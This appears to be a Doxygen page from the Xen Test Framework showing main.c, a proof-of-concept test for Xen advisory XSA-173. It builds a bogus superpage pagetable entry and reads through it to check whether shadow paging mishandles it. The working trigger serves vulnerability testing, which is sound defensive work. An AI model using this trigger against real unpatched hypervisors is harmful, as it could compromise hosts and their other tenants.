Xen Test Framework
main.c
Go to the documentation of this file.
1 
23 #include <xtf.h>
24 
25 const char test_title[] = "XSA-173 PoC";
26 
27 /* New L2 pagetable for the test to manipulate. */
29 
30 void test_main(void)
31 {
32  uint64_t *ptr, val;
33  exinfo_t fault = 0;
34 
35  /* Hook nl2 into the existing l3, just above the 4GB boundary. */
36  pae_l3_identmap[4] = pte_from_virt(nl2, PF_SYM(U, RW, P));
37 
38  /*
39  * Create an invalid super-l2e. Needs to map a GFN large than 2^44 to
40  * trigger the trunction in Xen, and have reserved bits set to help
41  * distinguish buggy shadow from non-buggy shadow or hap.
42  */
43  nl2[0] = pte_from_gfn(((1ULL << 34) - 1), PF_SYM(PSE, U, RW, P));
44 
45  /* Create a pointer which uses the bad l2e. */
46  ptr = _p((4ULL << PAE_L3_PT_SHIFT) + MB(1));
47 
48  asm volatile ("1:mov %[ptr], %[val]; 2:"
49  _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
50  : [val] "=r" (val), "+a" (fault)
51  : [ptr] "m" (*ptr), [rec] "p" (ex_record_fault_eax));
52 
53  switch ( fault )
54  {
55  case EXINFO_SYM(PF, PFEC_SYM(R, P)):
56  /* #PF[Rsvd] => Page wasn't shadowed. */
57  return xtf_success("Xen appears not vulnerable\n");
58 
59  case 0:
60  printk("Value at %p is 0x%08"PRIx64"\n", ptr, val);
61  return xtf_failure("Xen shadowed bogus sl2e\n");
62 
63  default:
64  return xtf_error("Unexpected fault %#x, %pe\n", fault, _p(fault));
65  }
66 }
67 
68 /*
69  * Local variables:
70  * mode: C
71  * c-file-style: "BSD"
72  * c-basic-offset: 4
73  * tab-width: 4
74  * indent-tabs-mode: nil
75  * End:
76  */
unsigned int exinfo_t
Packed exception and error code information.
Definition: exinfo.h:19
bool ex_record_fault_eax(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %eax.
Definition: extable.c:8
#define __page_aligned_bss
Definition: compiler.h:37
intpte_t pte_from_virt(const void *va, uint64_t flags)
static uint64_t nl2[PAE_L2_PT_ENTRIES]
Definition: main.c:28
void printk(const char *fmt,...)
Definition: console.c:134
#define PFEC_SYM(...)
Create pagetable error code based on mnemonics.
intpte_t pte_from_gfn(unsigned long gfn, uint64_t flags)
#define MB(num)
Express num in Megabytes.
Definition: numbers.h:26
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
#define PAE_L2_PT_ENTRIES
Definition: page-pae.h:24
#define PRIx64
Definition: inttypes.h:23
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
__UINT64_TYPE__ uint64_t
Definition: stdint.h:17
const char test_title[]
The title of the test.
Definition: main.c:14
#define PAE_L3_PT_SHIFT
Definition: page-pae.h:34
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38